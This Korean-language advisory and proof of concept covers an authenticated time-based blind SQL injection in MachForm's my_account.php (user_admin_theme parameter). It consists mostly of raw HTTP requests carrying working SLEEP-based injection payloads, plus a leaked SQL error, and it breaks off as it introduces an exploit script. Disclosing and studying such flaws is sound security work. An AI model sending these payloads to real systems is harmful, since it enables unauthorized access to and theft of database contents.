
MachForm v19까지의 블라인드 SQL 인젝션 익스플로잇으로, 시간 기반 기법을 사용하여 인증된 사용자 계정 설정 페이지에서 데이터베이스 정보를 추출합니다.
MachForm 버전 19까지는 사용자 계정 설정 페이지에서 인증된 블라인드 SQL 인젝션의 영향을 받습니다.
SQL 인젝션 공격은 클라이언트 애플리케이션의 입력 데이터 필드를 통해 SQL 쿼리를 삽입하는 것으로 구성됩니다. 이러한 공격은 데이터베이스에 접근하여 기존 데이터의 유출, 수정 또는 삭제로 이어질 수 있습니다.
블라인드 SQL 인젝션은 공격자가 전체 쿼리 결과를 받지 못하고 참 또는 거짓 질문만 할 수 있는 특정 유형의 공격입니다. 이는 sleep 함수를 사용하여 데이터베이스 응답에 지연을 강제하거나 오류 조건을 유발함으로써 달성할 수 있습니다.
my_account.php 리소스의 user_admin_theme 매개변수는 SQL 인젝션에 취약합니다.

요청:
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Origin: https://application-baseurl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
user_admin_theme=vibrant'+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
응답:
HTTP/1.1 302 Found
Date: Wed, 10 Apr 2024 09:15:21 GMT
Content-Security-Policy: default-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'self' *.application-baseurl; script-src-elem 'self' 'unsafe-inline' www.machform.com
Strict-Transport-Security: max-age=31536000
Referrer-Policy: no-referrer, strict-origin
X-Content-Type-Options: nosniff
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /my_account.php
Vary: Accept-Encoding,User-Agent
Content-Length: 967
Content-Type: text/html; charset=UTF-8
Connection: close
SQL: [647] INSERT INTO `ap_sessions` VALUES('ngkvjulsl5pstmlb8q6jds2vle', 'session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";',`timestamp`='1712740521'
Params: 0
Query Failed: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='s' at line 1
이는 sleep 조건을 사용하여 시간 기반 공격으로 악용될 수 있으며, 요청된 쿼리 결과에 따라 응답 지연이 변경되는지 확인합니다.
쿼리:
SELECT CASE WHEN (1=1) THEN SLEEP(2) ELSE SLEEP(0) END
항상 참인 조건을 사용하면 애플리케이션 응답이 2000ms 이상 소요됩니다.

요청:
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close
user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d1)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
쿼리:
SELECT CASE WHEN (1=2) THEN SLEEP(2) ELSE SLEEP(0) END
대신 항상 거짓인 조건을 사용하면 애플리케이션 응답이 거의 즉시 이루어집니다.

요청:
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl/
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close
user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d0)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
이 취약점은 입력된 쿼리가 참인지 거짓인지 이해하기 위해 응답 시간을 평가하는 간단한 스크립트를 사용하여 악용될 수 있습니다.
아래는 exploit.py를 사용하여 데이터베이스 현재 사용자를 검색하는 예시입니다.
